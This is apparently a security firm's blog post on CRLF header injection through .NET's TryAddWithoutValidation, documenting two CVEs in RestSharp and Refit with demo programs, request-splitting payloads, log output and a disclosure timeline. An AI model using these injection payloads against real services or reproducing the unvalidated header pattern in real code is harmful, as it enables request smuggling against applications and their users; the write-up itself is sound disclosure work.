CRLF injection via TryAddWithoutValidation in .NET

Posted by Sofia Lindvist on January 31, 2025 · 27 mins read

Binary Security was awarded two CVEs (CVE-2024-45302 and CVE-2024-51501) for header injection vulnerabilities in the RestSharp and Refit .NET libraries. This blog post outlines the research which lead to discovering these vulnerabilities.

Background

The idea for this research came from my colleague Christian, who had noted that the .NET method HttpHeaders.TryAddWithoutValidation was vulnerable to CRLF injection, and that one should do a search of open source codebases for use of this method. My plan was to do exactly this, to see if I found any exploitable CRLF-injection bugs in the wild.

CRLF Injection & Request Splitting

Imagine a web server is making a HTTP request where the end user is in control of some header value:

GET /about/ HTTP/1.1
Host: some-host.com
Some-Header: <user controllable value goes here>

If the server does not properly validate the user input, one may attempt to insert a string like value\r\nInjected-Header: injected value, where \r, \n are the CR and LF characters, respectively. Inserting this value in the above request, and explicitly spelling out any CRLF characters in the request we get:

GET /about/ HTTP/1.1\r\n
Host: some-host.com\r\n
Some-Header: value\r\n
Injected-Header: injected value\r\n
\r\n

And thus we have injected a header key-value pair. One can of course take this a step further, and inject a value like

value\r\n\r\nGET /secret HTTP/1.1\r\nHost: some-host.com\r\n\r\n

Inserting this into the original request we get:

GET /about/ HTTP/1.1\r\n
Host: some-host.com\r\n
Some-Header: value\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: some-host.com\r\n
\r\n

Which of course is equivalent to making two requests, one to /about/ and one to /secret. This is known as request splitting.

Note that all of this looks completely different for HTTP version 2, so from now on everything is HTTP version 1.1.

HttpHeaders.TryAddWithoutValidation

The modern way to make HTTP requests in .NET is via the System.Net.Http interface. Request headers are kept as a System.Net.Http.Headers.HttpHeaders object. In order to add a header to a request, one can for example do:

HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, "https://binarysecurity.no");
# The recommended way to add headers:
request.Headers.Add("some-header-name", "some header value");
# Another way to add headers:
request.Headers.TryAddWithoutValidation("some-other-name", "some other value");

Unsurprisingly, the TryAddWithoutValidation method performs less validation than the Add method. TryAddWithoutValidation does perform validation on the provided header name, but for the header value there is no validation at all.

Basic example

Build a command line application from the following code:

using System.Net.Http;

internal class Program
{
    private static void Main(string[] args)
    {
        var client = new HttpClient();
        if (args.Length != 1) {
            Console.WriteLine("Usage: BasicConsoleDemo <name>");
            return;
        }
        string uri = "http://localhost:8080";
        HttpRequestMessage sendRequest = new HttpRequestMessage(HttpMethod.Get, uri);
        sendRequest.Headers.TryAddWithoutValidation("X-Custom-Name-Header", args[0]);
        var response = client.Send(sendRequest);
        // Pretend to do something
    }
}

Run it, passing a CRLF payload:

# ./bin/Debug/net6.0/BasicConsoleDemo $'test\r\n\r\nGET /secret HTTP/1.1\r\nHost:localhost'

Here CRLF characters have been passed to the tool by using ANSI C-style quoting ($'here I can use escape sequences like \n and \r') in bash. Checking the apache logs gives:

# tail -n 2 /var/log/apache2/access.log
::1 - - [29/Jan/2025:13:58:16 -0500] "GET /status HTTP/1.1" 404 432 "-" "-"
::1 - - [29/Jan/2025:13:58:16 -0500] "GET /secret HTTP/1.1" 404 432 "-" "-"

This confirms that the request was split.

Searching GitHub

One of the obvious places to start searching for TryAddWithoutValidation-related bugs is on GitHub. Using the search API, there are just over 10000 hits on the string TryAddWithoutValidation in .cs-files, that are publicly available on GitHub:

GET /search/code?q=TryAddWithoutValidation+extension:cs
Host: api.github.com
Authorization: Bearer <...>

HTTP/2 200 OK
<...>
Link: <https://api.github.com/search/code?q=TryAddWithoutValidation+extension%3Acs&page=2>; rel="next", <https://api.github.com/search/code?q=TryAddWithoutValidation+extension%3Acs&page=34>; rel="last"
<...>

{
  "total_count": 10368,
  "incomplete_results": false,
  "items": [
    {
        <...>

As can be seen by the returned Link header, there are 34 pages of results. However, after fetching all of them, we are still only left with 1020 results, despite the "total_count" value being 10368. This is confirmed by the GitHub documentation, which states that the API returns up to 1000 results per search.

This is not good enough, because we are ambitious and want access to all 10368 results. One way to do this is to further subdivide the search, and make sure that at most 1000 results are returned per subsearch. For example, by making use of the size qualifier, we just split up the range of file sizes into small enough chucks to get them all.

I ended up with the following non-optimized python script for getting all the GitHub search results, which I set to run overnight. Note that there is a 10 requests per minute rate limit in place on the search endpoint:

import requests
from multiset import Multiset
import time

token = "<REDACTED>"
headers = {"Authorization": f"Bearer {token}"}
base_search_term = "TryAddWithoutValidation extension:cs"
url = "https://api.github.com/search/code"

def search_term(size_lower: int, size_upper: int) -> str:
    return f"{base_search_term} size:{size_lower}..{size_upper}"

def parse_result(item: dict) -> str:
    return item["repository"]["full_name"]

def get_by_size_by_page(
    page: int, size_lower: int, size_upper: int
) -> tuple[int, Multiset[str]]:
    params = {"q": search_term(size_lower, size_upper), "page": page}
    request = requests.get(url, params=params, headers=headers)
    time.sleep(7)  # 10 reqs per minute, make sure to never make more than 9
    res = request.json()
    repositories = Multiset(parse_result(item) for item in res["items"])
    return res["total_count"], repositories

def get_by_size(size_lower: int, size_upper: int) -> Multiset[str]:
    page = 1
    total_count, items = get_by_size_by_page(page, size_lower, size_upper)
    count = len(items)
    if total_count > 1000:
        raise ValueError("Too many results")
    while count < total_count:
        page += 1
        _, new_items = get_by_size_by_page(page, size_lower, size_upper)
        count += len(new_items)
        items += new_items
    return items

def get_search_results() -> Multiset[str]:
    lower = 0
    upper_max = 1000000  # Found by trial and error s.t. total results in range 0..1000000 equals total results
    upper = 1000
    repos: Multiset[str] = Multiset()
    while True:
        try:
            repos += get_by_size(lower, upper)
            lower = upper
            upper = min(upper_max, lower * 2)
        except ValueError:
            # Too many results, try on a smaller range
            upper = (lower + upper) // 2

results = get_search_results()
print(len(results))

Next, there needed to be some prioritizing on which results to focus on first. I decided to sort the repositories by the number of stars (which can be fetched from the /repos API with a much more forgiving rate limit), and start working my way through them starting from the most popular.

Note that since I really only wanted a list of all repositories with hits, and not all the other data returned by the REST API, the GitHub GraphQL API initially seemed like the appropriate choice. However, after wasting an (in)appropriate amount of time, I realized that the GitHub GraphQL API does not support code search. When reading up on this I found this 7 year old StackOverflow question asking about the same thing. Clearly this feature is not a priority.

Searching NuGet

C#/.NET can be easily decompiled, which means that public NuGet packages are another good place to look. I was just running all this from a VM on my laptop, so I made a very dumb script (which is awful enough that it does not deserve to be shared) doing the following:

  • Get a list of all public NuGet packages and sort by number of downloads
  • Starting with the most popular:
    • Download a package
    • Decompile it using dnspy’s command line tool
    • Search for TryAddWithoutValidation in the decompiled source code
      • If there are no hits, delete the package and decompiled code
  • Continue doing this until some maximum number of packages with hits are stored on disk, and then stop

I would run this, then check the stored packages to free up space, and then repeat.

Checking the results

The identified results broadly fell into the following categories.

Command line tools: These I chose to ignore for now, based on the assumption that it is much less likely for some web server to take user controllable values and pass them through to a CLI tool, than to e.g. use a vulnerable API from a library. In addition, if user controllable values are making their way to calls to CLI tools then we may be looking at code execution, making the request splitting dance a bit pointless.

Microsoft and Azure-related hits: It turns out that when downloading a NuGet package, decompiling it and then searching for TryAddWithoutValidation, there will be a huge number of false positives caused by various Microsoft, and in particular Azure, related SDKs, as Microsoft loves using TryAddWithoutValidation. I initially filtered out these hits, planning to do a proper deep dive into the various Microsoft SDKs at a later point in time.

Web services: Think load balancers, reverse proxies, firewalls, CDNs, etc. When I started this research, this is where I expected to find interesting results. Imagine some open source reverse proxy with some user input that makes it to TryAddWithoutValidation on an outgoing request. Sadly, this did not happen, and all of the hits in this category turned out to be false positives.

Libraries: In the end, the interesting cases turned out to be in libraries which expose some API for making some sort of requests, where the input to the API is added to a header in an unsafe way using TryAddWithoutValidation.

Some numbers

  • Hits on GitHub: 10368*
  • Unique repositories with hits on GitHub: 4241*
  • Repository hits checked: 50
  • NuGet packages decompiled: 5000
  • Hits in decompiled NuGet packages: 121
  • Package hits checked: 121**
  • Total repositories+packages checked: 171
  • Interesting hits: 2

*These numbers are from January 2025, as I no longer have the raw data from when I originally did the research.

**Several of these packages were also public repositories on GitHub. They have only been counted here, and not under “Repository hits checked”, to avoid double counting.

RestSharp - CVE-2024-45302

The first of the interesting hits was in the popular RestSharp library, which in its own words is “a lightweight HTTP API client library”. When performing the analysis, RestSharp was at version 111.4.1.

There were two hits in the package:

  • In RestSharp.HttpRequestMessageExtensions.AddHeaders():
    • This takes a RestSharp.RequestHeaders object, which really is a glorified dictionary.
    • For each key, value pair in the headers object, they are added to an underlying System.Net.Http.Headers.HttpHeaders object via TryAddWithoutValidation, which ultimately is used to make a request.
  • In RestSharp.RequestContent.ReplaceHeader():
    • This takes a name and a value, and passes them directly to TryAddWithoutValidation on the underlying System.Net.Http.Headers.HttpHeaders object.

Now, one can trace these sinks through the source code to find any sources which reach them (which is what I initially did). Or, one can realise that the “safe” System.Net.Http.Headers.HttpHeaders.Add() method is never called, and so any part of the public API that claims to add headers to a request must be vulnerable. Reading the RestSharp documentation reveals the APIs in question, which are the following methods in the RestSharp.RestRequest class:

  • AddHeader(string name, string value);
  • AddHeader<T>(string name, T value);
  • AddOrUpdateHeader(string name, string value)

As well as the AddDefaultHeader(string name, string value) method of the RestSharp.RestClient class.

A simple demonstration of the first of these is shown in the following command line application:

using RestSharp;

class Program
{
    static async Task Main(string[] args)
    {
        // This will make a request to a status endpoint and print the response
        if (args.Length != 1) {
            Console.WriteLine("Usage: RestSharpExample <bearer token>");
            return;
        }
        var key = args[0];
        var options = new RestClientOptions("http://localhost");
        var client = new RestClient(options);
        var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", "Bearer: " + key);
        var response = await client.ExecuteAsync(request);
        Console.WriteLine($"Status: {response.StatusCode}");
        Console.WriteLine($"Response: {response.Content}");
    }
}

Run it, passing a CRLF payload:

# ./bin/Debug/net6.0/RestSharpExample $'test\r\n\r\nGET /secret HTTP/1.1\r\nHost:localhost'

Just as before, the apache logs reveal that the request was successfully split:

# tail -n 2 /var/log/apache2/access.log
::1 - - [30/Jan/2025:16:45:50 -0500] "GET /status HTTP/1.1" 404 432 "-" "-"
::1 - - [30/Jan/2025:16:45:50 -0500] "GET /secret HTTP/1.1" 404 432 "-" "RestSharp/111.4.1.0"

Refit - CVE-2024-51501

The second hit was in the Refit library, which is “an automatic type-safe REST library” that “turns your REST API into a live interface”. This analysis was performed on version 7.2.1 of the library. The process of locating vulnerable APIs is pretty much the same as for RestSharp, and one ends up with vulnerable APIs arising from the following attributes:

  • [Header(string name)] applied to a parameter string value
  • [Authorize(string type)] applied to a parameter string token

The attribute [Headers(string header)] applied to a method is also vulnerable, but due to the nature of a method attribute, I am not sure how one could end up with a user controllable value inside.

The following command line application demonstrates both the vulnerable attributes (and also how to use the Refit library, which is slightly less straightforward than in the RestSharp case, and involves defining an interface):

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Make a request supplying either a custom header value or a bearer token
        if (args.Length != 2)
        {
            Console.WriteLine("Usage: RefitExample [name|token] <value>");
            return;
        }
        if (args[0] == "name")
        {
            var service = RestService.For<IStatusApiHeader>("http://localhost");
            string response = service.GetStatus(args[1]).Result;
            Console.WriteLine($"Response: {response}");
        }
        else
        {
            var service = RestService.For<IStatusApiAuthorize>("http://localhost");
            string response = service.GetStatus(args[1]).Result;
            Console.WriteLine($"Response: {response}");
        }
    }

    public interface IStatusApiHeader
    {
        [Get("/status")]
        Task<string> GetStatus([Header("X-Custom-Name")] string name);
    }

    public interface IStatusApiAuthorize
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

Run the program, testing both of the vulnerable parameters:

# ./bin/Debug/net6.0/RefitExample "name" $'test\r\n\r\nGET /secret1 HTTP/1.1\r\nHost:localhost'
//prints an error because the server always returns 404

# ./bin/Debug/net6.0/RefitExample "token" $'test\r\n\r\nGET /secret2 HTTP/1.1\r\nHost:localhost'
//prints an error because the server always returns 404

As usual, the apache logs confirm the vulnerability:

::1 - - [30/Jan/2025:17:09:43 -0500] "GET /status HTTP/1.1" 404 432 "-" "-"
::1 - - [30/Jan/2025:17:09:43 -0500] "GET /secret1 HTTP/1.1" 404 432 "-" "-"
::1 - - [30/Jan/2025:17:09:52 -0500] "GET /status HTTP/1.1" 404 432 "-" "-"
::1 - - [30/Jan/2025:17:09:52 -0500] "GET /secret2 HTTP/1.1" 404 432 "-" "-"

Searching for more bugs

Finding a vulnerable API is nice, but I wanted to demonstrate actual impact. And so, it was back to searching, this time for repositories and libraries using the identified vulnerable APIs in the most obvious ways:

  • Files matching all of the search terms using RestSharp;, RestRequest and AddHeader(
  • Files matching both of the search terms using Refit; and [Header(
  • Files matching both of the search terms using Refit; and [Authorize(

I trawled through roughly the 30 first repositories with hits on GitHub, before giving up and concluding that I am unlikely to find a real world case of someone being vulnerable by this method. I got a bit fed up with the whole thing, and left the research alone until I gave a talk on the topic in August 2024. Pretty much live during the talk I realized that just because I could not find any vulnerable uses of these libraries, I really should report the vulnerabilities, which I did immediately upon returning from the conference.

Closing Remarks

In the end this research resulted in two CVEs, but I never did find a vulnerable use of the libraries. For all I know both of these CVEs are entirely theoretical, and there never was a real world application that made use of the affected libraries in a vulnerable way. Of course, they still needed to be fixed, because if anyone using RestSharp or Refit ever wanted to place user-controllable data into a header value, there was no safe way to do it without resorting to performing your own sanitization (and there is nothing in the docs telling you this is necessary).

If your organization was affected by either of these CVEs (not just in the “my automation is complaining about vulnerable dependencies”-sense) then I’d be very interested to hear about it!

You should also make sure to check your own .NET codebase for use of TryAddWithoutValidation to assess whether you are vulnerable to CRLF injections.

Finally, and luckily for me, you can read about an actual case of exploiting a CRLF-injection that my colleague Torjus found, in this post.

Timeline

  • April-July (ish), 2024: The original research was done, and the vulnerabilities in RestSharp and Refit were identified
  • August 27, 2024: I gave a talk at Sikkerhetsfestivalen about this research
  • August 29, 2024: I submitted vulnerabilities to RestSharp and Refit
  • August 29, 2024: RestSharp accepted my report, released a fix and published my advisory. GitHub assigned a CVE to the vulnerability
  • September 22, 2024: Refit accepted my report and committed a potential fix
  • October 3, 2024: I commented on the Refit advisory asking about assigning a CVE and publishing it
  • October 14, 2024: I gave a talk at BSides Oslo about this research. The recording can be found here (Starting from 4:15:34)
  • November 3, 2024: Refit released a fix and requested a CVE from GitHub
  • November 4, 2024: GitHub assigned a CVE to the Refit vulnerability and the advisory was published